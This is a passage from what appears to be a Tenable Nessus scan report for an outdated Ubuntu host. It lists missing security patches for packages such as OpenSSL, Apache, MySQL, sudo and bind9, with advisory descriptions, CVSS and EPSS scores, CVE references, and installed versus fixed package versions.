Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/726-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.7

### EPSS Score

0.012

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 33962 |
| CVE | CVE-2009-0037 |

| | |
|---|---|
| XREF | USN:726-1 |
| XREF | CWE:352 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libcurl3-gnutls_7.18.0-1ubuntu2
  - Fixed package     : libcurl3-gnutls_7.18.0-1ubuntu2.1
```

## 37045 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : gnutls12, gnutls13, gnutls26 regression (USN-678-2)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

USN-678-1 fixed a vulnerability in GnuTLS. The upstream patch introduced a regression when validating certain certificate chains that would report valid certificates as untrusted. This update fixes the problem.

We apologize for the inconvenience.

Martin von Gagern discovered that GnuTLS did not properly verify certificate chains when the last certificate in the chain was self-signed. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could be exploited to view sensitive information. (CVE-2008-4989).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/678-2/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.0039

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| CVE | CVE-2008-4989 |
| XREF | USN:678-2 |

XREF CWE:255

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : libgnutls13_2.0.4-1ubuntu2
  - Fixed package     : libgnutls13_2.0.4-1ubuntu2.3
```

## 37965 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : gnutls12, gnutls13, gnutls26 vulnerability (USN-678-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Martin von Gagern discovered that GnuTLS did not properly verify certificate chains when the last certificate in the chain was self-signed. If a remote attacker were able to perform a man-in-the-middle attack, this flaw could be exploited to view sensitive information. (CVE-2008-4989).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/678-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.0039

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

### References

| | |
|---|---|
| CVE | CVE-2008-4989 |
| XREF | USN:678-1 |
| XREF | CWE:255 |

### Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

### tcp/0

```
  - Installed package : libgnutls13_2.0.4-1ubuntu2
  - Fixed package     : libgnutls13_2.0.4-1ubuntu2.2
```

## 36382 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : openssl vulnerability (USN-704-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that OpenSSL did not properly perform signature verification on DSA and ECDSA keys.
If user or automated system connected to a malicious server or a remote attacker were able to perform a man-in-the-middle attack, this flaw could be exploited to view sensitive information.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/704-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.0

### EPSS Score

0.0107

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

### CVSS v2.0 Temporal Score

4.3 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 33150 |
| CVE | CVE-2008-5077 |
| XREF | USN:704-1 |

XREF CWE:20

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.4
```

## 36907 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : openssl vulnerability (USN-750-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that OpenSSL did not properly validate the length of an encoded BMPString or UniversalString when printing ASN.1 strings.

If a user or automated system were tricked into processing a crafted certificate, an attacker could cause a denial of service via application crash in applications linked against OpenSSL.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/750-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.1292

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

4.3 (CVSS2#E:ND/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 34256 |
| CVE | CVE-2009-0590 |

| | |
|---|---|
| XREF | USN:750-1 |
| XREF | CWE:119 |

## Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

## Plugin Output

tcp/0

```

  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.5

```

## 36589 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS : apache2 vulnerabilities (USN-731-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that Apache did not sanitize the method specifier header from an HTTP request when it is returned in an error message, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. With cross-site scripting vulnerabilities, if a user were tricked into viewing server output during a crafted server request, a remote attacker could exploit this to modify the contents, or steal confidential data (such as passwords), within the same domain. This issue only affected Ubuntu 6.06 LTS and 7.10. (CVE-2007-6203)

It was discovered that Apache was vulnerable to a cross-site request forgery (CSRF) in the mod_proxy_balancer balancer manager. If an Apache administrator were tricked into clicking a link on a specially crafted web page, an attacker could trigger commands that could modify the balancer manager configuration. This issue only affected Ubuntu 7.10 and 8.04 LTS. (CVE-2007-6420)

It was discovered that Apache had a memory leak when using mod_ssl with compression. A remote attacker could exploit this to exhaust server memory, leading to a denial of service. This issue only affected Ubuntu 7.10. (CVE-2008-1678)

It was discovered that in certain conditions, Apache did not specify a default character set when returning certain error messages containing UTF-7 encoded data, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. This issue only affected Ubuntu 6.06 LTS and 7.10. (CVE-2008-2168)

It was discovered that when configured as a proxy server, Apache did not limit the number of forwarded interim responses. A malicious remote server could send a large number of interim responses and cause a denial of service via memory exhaustion. (CVE-2008-2364)

It was discovered that mod_proxy_ftp did not sanitize wildcard pathnames when they are returned in directory listings, which could result in browsers becoming vulnerable to cross-site scripting attacks when processing the output. (CVE-2008-2939).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/731-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.7469

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 26663 |
| BID | 27236 |
| BID | 29653 |
| BID | 30560 |
| BID | 31692 |
| CVE | CVE-2007-6203 |
| CVE | CVE-2007-6420 |
| CVE | CVE-2008-1678 |
| CVE | CVE-2008-2168 |
| CVE | CVE-2008-2364 |
| CVE | CVE-2008-2939 |
| XREF | USN:731-1 |
| XREF | CWE:79 |
| XREF | CWE:352 |
| XREF | CWE:399 |

### Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.4
```

## 37299 - Ubuntu 6.06 LTS / 7.10 / 8.04 LTS : mysql-dfsg-5.0 vulnerabilities (USN-671-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that MySQL could be made to overwrite existing table files in the data directory. An authenticated user could use the DATA DIRECTORY and INDEX DIRECTORY options to possibly bypass privilege checks. This update alters table creation behaviour by disallowing the use of the MySQL data directory in DATA DIRECTORY and INDEX DIRECTORY options. (CVE-2008-2079, CVE-2008-4097 and CVE-2008-4098)

It was discovered that MySQL did not handle empty bit-string literals properly. An attacker could exploit this problem and cause the MySQL server to crash, leading to a denial of service. (CVE-2008-3963).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/671-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

6.3

### EPSS Score

0.0559

### CVSS v2.0 Base Score

4.6 (CVSS2#AV:N/AC:H/Au:S/C:P/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2008-2079 |
| CVE | CVE-2008-3963 |

| | |
|---|---|
| CVE | CVE-2008-4097 |
| CVE | CVE-2008-4098 |
| XREF | USN:671-1 |
| XREF | CWE:59 |
| XREF | CWE:134 |
| XREF | CWE:264 |

### Plugin Information

Published: 2009/04/23, Modified: 2021/01/19

### Plugin Output

tcp/0

```
  - Installed package : libmysqlclient15off_5.0.51a-3ubuntu5
  - Fixed package     : libmysqlclient15off_5.0.51a-3ubuntu5.4

  - Installed package : mysql-client-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-client-5.0_5.0.51a-3ubuntu5.4

  - Installed package : mysql-common_5.0.51a-3ubuntu5
  - Fixed package     : mysql-common_5.0.51a-3ubuntu5.4

  - Installed package : mysql-server_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server_5.0.51a-3ubuntu5.4

  - Installed package : mysql-server-5.0_5.0.51a-3ubuntu5
  - Fixed package     : mysql-server-5.0_5.0.51a-3ubuntu5.4
```

## 55095 - Ubuntu 6.06 LTS / 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : apache2, apr vulnerabilities (USN-1134-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Maksymilian Arciemowicz reported that a flaw in the fnmatch() implementation in the Apache Portable Runtime (APR) library could allow an attacker to cause a denial of service. This can be demonstrated in a remote denial of service attack against mod_autoindex in the Apache web server. (CVE-2011-0419)

Is was discovered that the fix for CVE-2011-0419 introduced a different flaw in the fnmatch() implementation that could also result in a denial of service. (CVE-2011-1928).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1134-1/

### Solution

Update the affected libapr0 and / or libapr1 packages.

### Risk Factor

Medium

### VPR Score

5.1

### EPSS Score

0.5844

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 47820 |
| BID | 47929 |
| CVE | CVE-2011-0419 |
| CVE | CVE-2011-1928 |
| XREF | USN:1134-1 |

## Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libapr1_1.2.11-1
  - Fixed package     : libapr1_1.2.11-1ubuntu0.2
```

## 55092 - Ubuntu 6.06 LTS / 8.04 LTS / 10.04 LTS / 10.10 / 11.04 : postfix vulnerability (USN-1131-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Thomas Jarosch discovered that Postfix incorrectly handled authentication mechanisms other than PLAIN and LOGIN when the Cyrus SASL library is used. A remote attacker could use this to cause Postfix to crash, leading to a denial of service, or possibly execute arbitrary code as the postfix user.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/1131-1/

### Solution

Update the affected postfix package.

### Risk Factor

Medium

### VPR Score

6.5

### EPSS Score

0.6716

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 47778 |
| CVE | CVE-2011-1720 |
| XREF | USN:1131-1 |

## Plugin Information

Published: 2011/06/13, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : postfix_2.5.1-2ubuntu1
  - Fixed package     : postfix_2.5.1-2ubuntu1.4
```

## 45037 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : apache2 vulnerabilities (USN-908-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that mod_proxy_ajp did not properly handle errors when a client doesn't send a request body. A remote attacker could exploit this with a crafted request and cause a denial of service.

This issue affected Ubuntu 8.04 LTS, 8.10, 9.04 and 9.10.

(CVE-2010-0408)

It was discovered that Apache did not properly handle headers in subrequests under certain conditions. A remote attacker could exploit this with a crafted request and possibly obtain sensitive information from previous requests. (CVE-2010-0434).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/908-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.3005

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 38491 |
| BID | 38580 |
| CVE | CVE-2010-0408 |
| CVE | CVE-2010-0434 |
| XREF | USN:908-1 |
| XREF | CWE:200 |

## Plugin Information

Published: 2010/03/11, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : apache2_2.2.8-1
  - Fixed package     : apache2_2.2.8-1ubuntu0.15
```

## 45038 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : dpkg vulnerability (USN-909-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

William Grant discovered that dpkg-source did not safely apply diffs when unpacking source packages. If a user or an automated system were tricked into unpacking a specially crafted source package, a remote attacker could modify files outside the target unpack directory, leading to a denial of service or potentially gaining access to the system.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/909-1/

### Solution

Update the affected dpkg, dpkg-dev and / or dselect packages.

### Risk Factor

Medium

### VPR Score

4.2

### EPSS Score

0.004

### CVSS v2.0 Base Score

5.8 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-0396 |
| XREF | USN:909-1 |

### Plugin Information

Published: 2010/03/11, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : dpkg_1.14.16.6ubuntu3
  - Fixed package     : dpkg_1.14.16.6ubuntu4.1
```

## 44108 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : expat vulnerabilities (USN-890-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Jukka Taimisto, Tero Rontti and Rauli Kaksonen discovered that Expat did not properly process malformed XML. If a user or application linked against Expat were tricked into opening a crafted XML file, an attacker could cause a denial of service via application crash.

(CVE-2009-2625, CVE-2009-3720)

It was discovered that Expat did not properly process malformed UTF-8 sequences. If a user or application linked against Expat were tricked into opening a crafted XML file, an attacker could cause a denial of service via application crash. (CVE-2009-3560).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/890-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

4.4

### EPSS Score

0.0101

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 35958 |
| BID | 36097 |
| BID | 37203 |
| CVE | CVE-2009-2625 |
| CVE | CVE-2009-3560 |
| CVE | CVE-2009-3720 |
| XREF | USN:890-1 |
| XREF | CWE:119 |
| XREF | CWE:264 |

## Plugin Information

Published: 2010/01/21, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : libexpat1_2.0.1-0ubuntu1
  - Fixed package     : libexpat1_2.0.1-0ubuntu1.1
```

## 44107 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : gzip vulnerabilities (USN-889-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

It was discovered that gzip incorrectly handled certain malformed compressed files. If a user or automated system were tricked into opening a specially crafted gzip file, an attacker could cause gzip to crash or possibly execute arbitrary code with the privileges of the user invoking the program. (CVE-2009-2624)

Aki Helin discovered that gzip incorrectly handled certain malformed files compressed with the Lempel-Ziv-Welch (LZW) algorithm. If a user or automated system were tricked into opening a specially crafted gzip file, an attacker could cause gzip to crash or possibly execute arbitrary code with the privileges of the user invoking the program.

(CVE-2010-0001).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/889-1/

### Solution

Update the affected gzip package.

### Risk Factor

Medium

### VPR Score

7.3

### EPSS Score

0.3819

### CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

## References

| | |
|---|---|
| CVE | CVE-2009-2624 |
| CVE | CVE-2010-0001 |
| XREF | USN:889-1 |
| XREF | CWE:20 |
| XREF | CWE:189 |

## Plugin Information

Published: 2010/01/21, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : gzip_1.3.12-3.2
  - Fixed package     : gzip_1.3.12-3.2ubuntu0.1
```

## 42408 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : libhtml-parser-perl vulnerability (USN-855-1)

### Synopsis

The remote Ubuntu host is missing a security-related patch.

### Description

Mark Martinec discovered that HTML::Parser incorrectly handled strings with incomplete entities. An attacker could send specially crafted input to applications that use HTML::Parser and cause a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/855-1/

### Solution

Update the affected libhtml-parser-perl package.

### Risk Factor

Medium

### VPR Score

3.4

### EPSS Score

0.0085

### CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

### References

| | |
|---|---|
| CVE | CVE-2009-3627 |
| XREF | USN:855-1 |
| XREF | CWE:20 |

### Plugin Information

Published: 2009/11/06, Modified: 2021/01/19

## Plugin Output

### tcp/0

```
  - Installed package : libhtml-parser-perl_3.56-1
  - Fixed package     : libhtml-parser-perl_3.56-1ubuntu0.1
```

## 45081 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : linux, linux-source-2.6.15 vulnerabilities (USN-914-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Mathias Krause discovered that the Linux kernel did not correctly handle missing ELF interpreters. A local attacker could exploit this to cause the system to crash, leading to a denial of service.

(CVE-2010-0307)

Marcelo Tosatti discovered that the Linux kernel's hardware virtualization did not correctly handle reading the /dev/port special device. A local attacker in a guest operating system could issue a specific read that would cause the host system to crash, leading to a denial of service. (CVE-2010-0309)

Sebastian Krahmer discovered that the Linux kernel did not correctly handle netlink connector messages. A local attacker could exploit this to consume kernel memory, leading to a denial of service.

(CVE-2010-0410)

Ramon de Carvalho Valle discovered that the Linux kernel did not correctly validate certain memory migration calls. A local attacker could exploit this to read arbitrary kernel memory or cause a system crash, leading to a denial of service. (CVE-2010-0415)

Jermome Marchand and Mikael Pettersson discovered that the Linux kernel did not correctly handle certain futex operations. A local attacker could exploit this to cause a system crash, leading to a denial of service. (CVE-2010-0622, CVE-2010-0623).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/914-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

9.2

### EPSS Score

0.1097

## CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:L/Au:S/C:N/I:N/A:C)

## CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 38027 |
| BID | 38058 |
| BID | 38144 |
| BID | 38165 |
| CVE | CVE-2010-0307 |
| CVE | CVE-2010-0309 |
| CVE | CVE-2010-0410 |
| CVE | CVE-2010-0415 |
| CVE | CVE-2010-0622 |
| CVE | CVE-2010-0623 |
| XREF | USN:914-1 |
| XREF | CWE:16 |
| XREF | CWE:20 |
| XREF | CWE:399 |

## Plugin Information

Published: 2010/03/17, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : linux-image-2.6.24-16-server_2.6.24-16.30
  - Fixed package     : linux-image-2.6.24-<ANY>-server_2.6.24-27.68


Because Debian/Ubuntu linux packages increment their package name numbers as
well as their version numbers, an update may not be available for the
current kernel level, but the package will still be vulnerable. You may
need to update the kernel level in order to get the latest security
fixes available.
```

## 43898 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : openssl vulnerability (USN-884-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that OpenSSL did not correctly free unused memory in certain situations. A remote attacker could trigger this flaw in services that used SSL, causing the service to use all available system memory, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/884-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

3.6

### EPSS Score

0.2293

### CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

### CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 31692 |
| CVE | CVE-2009-4355 |
| XREF | USN:884-1 |

| | |
|---|---|
| XREF | CWE:399 |

## Plugin Information

Published: 2010/01/14, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : openssl_0.9.8g-4ubuntu3
  - Fixed package     : openssl_0.9.8g-4ubuntu3.9
```

## 43622 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : postgresql-8.1, postgresql-8.3, postgresql-8.4 vulnerabilities (USN-876-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that PostgreSQL did not properly handle certificates with NULL characters in the Common Name field of X.509 certificates.

An attacker could exploit this to perform a man in the middle attack to view sensitive information or alter encrypted communications.

(CVE-2009-4034)

It was discovered that PostgreSQL did not properly manage session-local state. A remote authenticated user could exploit this to escalate priviliges within PostgreSQL. (CVE-2009-4136).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/876-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0158

### CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

### CVSS v2.0 Temporal Score

4.8 (CVSS2#E:U/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 37333 |
| BID | 37334 |
| CVE | CVE-2009-4034 |
| CVE | CVE-2009-4136 |
| XREF | USN:876-1 |
| XREF | CWE:310 |

### Plugin Information

Published: 2010/01/04, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : libpq5_8.3.1-1
  - Fixed package     : libpq5_8.3.9-0ubuntu8.04

  - Installed package : postgresql-8.3_8.3.1-1
  - Fixed package     : postgresql-8.3_8.3.9-0ubuntu8.04

  - Installed package : postgresql-client-8.3_8.3.1-1
  - Fixed package     : postgresql-client-8.3_8.3.9-0ubuntu8.04
```

## 44336 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : samba vulnerability (USN-893-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Ronald Volgers discovered that the mount.cifs utility, when installed as a setuid program, suffered from a race condition when verifying user permissions. A local attacker could trick samba into mounting over arbitrary locations, leading to a root privilege escalation.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/893-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.9

### EPSS Score

0.0011

### CVSS v2.0 Base Score

4.4 (CVSS2#AV:L/AC:M/Au:N/C:P/I:P/A:P)

### References

| | |
|---|---|
| CVE | CVE-2010-0787 |
| XREF | USN:893-1 |
| XREF | CWE:59 |

### Plugin Information

Published: 2010/01/29, Modified: 2019/09/19

## Plugin Output

### tcp/0

```
  - Installed package : samba_3.0.20-0.1ubuntu1
  - Fixed package     : samba_3.0.28a-1ubuntu4.10

  - Installed package : samba-common_3.0.20-0.1ubuntu1
  - Fixed package     : samba-common_3.0.28a-1ubuntu4.10
```

## 44936 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : sudo vulnerabilities (USN-905-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

It was discovered that sudo did not properly validate the path for the 'sudoedit' pseudo-command. A local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use sudoedit. The sudoedit pseudo-command is not used in the default installation of Ubuntu. (CVE-2010-0426)

It was discovered that sudo did not reset group permissions when the 'runas_default' configuration option was used. A local attacker could exploit this to escalate group privileges if sudo was configured to allow the attacker to run commands under the runas_default account.

The runas_default configuration option is not used in the default installation of Ubuntu. This issue affected Ubuntu 8.04 LTS, 8.10 and 9.04. (CVE-2010-0427).

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/905-1/

### Solution

Update the affected sudo and / or sudo-ldap packages.

### Risk Factor

Medium

### VPR Score

7.4

### EPSS Score

0.011

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.7 (CVSS2#E:F/RL:OF/RC:C)

## References

| | |
|---|---|
| BID | 38362 |
| BID | 38432 |
| CVE | CVE-2010-0426 |
| CVE | CVE-2010-0427 |
| XREF | USN:905-1 |
| XREF | CWE:264 |

## Exploitable With

Core Impact (true)

## Plugin Information

Published: 2010/03/01, Modified: 2019/09/19

## Plugin Output

tcp/0

```
  - Installed package : sudo_1.6.9p10-1ubuntu3
  - Fixed package     : sudo_1.6.9p10-1ubuntu3.6
```

## 45550 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 / 9.10 : sudo vulnerability (USN-928-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Valerio Costamagna discovered that sudo did not properly validate the path for the 'sudoedit' pseudo-command when the PATH contained only a dot ('.'). If secure_path and ignore_dot were disabled, a local attacker could exploit this to execute arbitrary code as root if sudo was configured to allow the attacker to use sudoedit. By default, secure_path is used and the sudoedit pseudo-command is not used in Ubuntu. This is a different but related issue to CVE-2010-0426.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/928-1/

### Solution

Update the affected sudo and / or sudo-ldap packages.

### Risk Factor

Medium

### VPR Score

7.4

### EPSS Score

0.011

### CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

### CVSS v2.0 Temporal Score

5.7 (CVSS2#E:F/RL:OF/RC:C)

### References

| | |
|---|---|
| BID | 39468 |

| | |
|---|---|
| CVE | CVE-2010-0426 |
| XREF | USN:928-1 |
| XREF | CWE:264 |

### Exploitable With

Core Impact (true)

### Plugin Information

Published: 2010/04/16, Modified: 2019/09/19

### Plugin Output

tcp/0

```
  - Installed package : sudo_1.6.9p10-1ubuntu3
  - Fixed package     : sudo_1.6.9p10-1ubuntu3.7
```

## 40417 - Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : bind9 vulnerability (USN-808-1)

### Synopsis

The remote Ubuntu host is missing one or more security-related patches.

### Description

Micha Krause discovered that Bind did not correctly validate certain dynamic DNS update packets. An unauthenticated remote attacker could send specially crafted traffic to crash the DNS server, leading to a denial of service.

Note that Tenable Network Security has extracted the preceding description block directly from the Ubuntu security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.

### See Also

https://usn.ubuntu.com/808-1/

### Solution

Update the affected packages.

### Risk Factor

Medium

### VPR Score

5.1

### EPSS Score

0.4055

